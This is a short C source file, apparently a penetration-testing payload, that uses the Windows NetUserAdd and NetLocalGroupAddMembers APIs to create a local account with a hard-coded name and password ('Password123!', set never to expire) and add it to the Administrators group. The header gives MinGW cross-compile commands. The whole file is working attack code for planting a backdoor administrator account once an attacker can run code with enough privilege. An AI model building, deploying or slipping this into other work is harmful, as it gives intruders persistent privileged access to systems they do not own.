AdminUser.c

/*
 **************************************************************************
 *                                                                        *
 *                 Created by Harith Dilshan (h4rithd.com)                *
 *                                                                        *
 *  Purpose:                                                              *
 *    This script creates a new user on a Windows system and adds the     *
 *    user to the Administrators group.                                   *
 *                                                                        *
 *  Compile for 64-bit:                                                   *
 *    x86_64-w64-mingw32-gcc AdminUser.c -o AdminUser.exe -lnetapi32      *
 *                                                                        *
 *  Compile for 32-bit:                                                   *
 *    i686-w64-mingw32-gcc AdminUser.c -o AdminUser.exe -lnetapi32        *
 *                                                                        *
 *  Credentials:                                                          *
 *    Username: h4rithd                                                   *
 *    Password: Password123!                                              *
 *                                                                        *
 **************************************************************************
 */


#include <windows.h>
#include <lm.h>
#include <stdio.h>


void AddUserToAdminGroup(LPWSTR username) {
    LOCALGROUP_MEMBERS_INFO_3 account;
    account.lgrmi3_domainandname = username;

    NET_API_STATUS status = NetLocalGroupAddMembers(
        NULL, // Local computer
        L"Administrators", // Group name
        3, // Level
        (LPBYTE)&account, // Buffer
        1 // Number of entries
    );

    if (status == NERR_Success) {
        wprintf(L"User %s added to Administrators group successfully.\n", username);
    } else {
        wprintf(L"Failed to add user %s to Administrators group. Error: %lu\n", username, status);
    }
}

int main() {
    USER_INFO_1 ui;
    DWORD dwLevel = 1;
    DWORD dwError = 0;
    NET_API_STATUS nStatus;

    // Initialize the USER_INFO_1 structure
    memset(&ui, 0, sizeof(ui));
    ui.usri1_name = L"h4rithd";
    ui.usri1_password = L"Password123!";
    ui.usri1_priv = USER_PRIV_USER;
    ui.usri1_home_dir = NULL;
    ui.usri1_comment = L"Created by C program";
    ui.usri1_flags = UF_SCRIPT | UF_DONT_EXPIRE_PASSWD;
    ui.usri1_script_path = NULL;

    // Create the user account
    nStatus = NetUserAdd(
        NULL, // Local computer
        dwLevel, // Information level
        (LPBYTE)&ui, // Buffer
        &dwError // Error code
    );

    if (nStatus == NERR_Success) {
        wprintf(L"User %s has been successfully added.\n", ui.usri1_name);
        AddUserToAdminGroup(ui.usri1_name);
    } else {
        wprintf(L"NetUserAdd failed with error: %lu\n", nStatus);
    }

    return 0;
}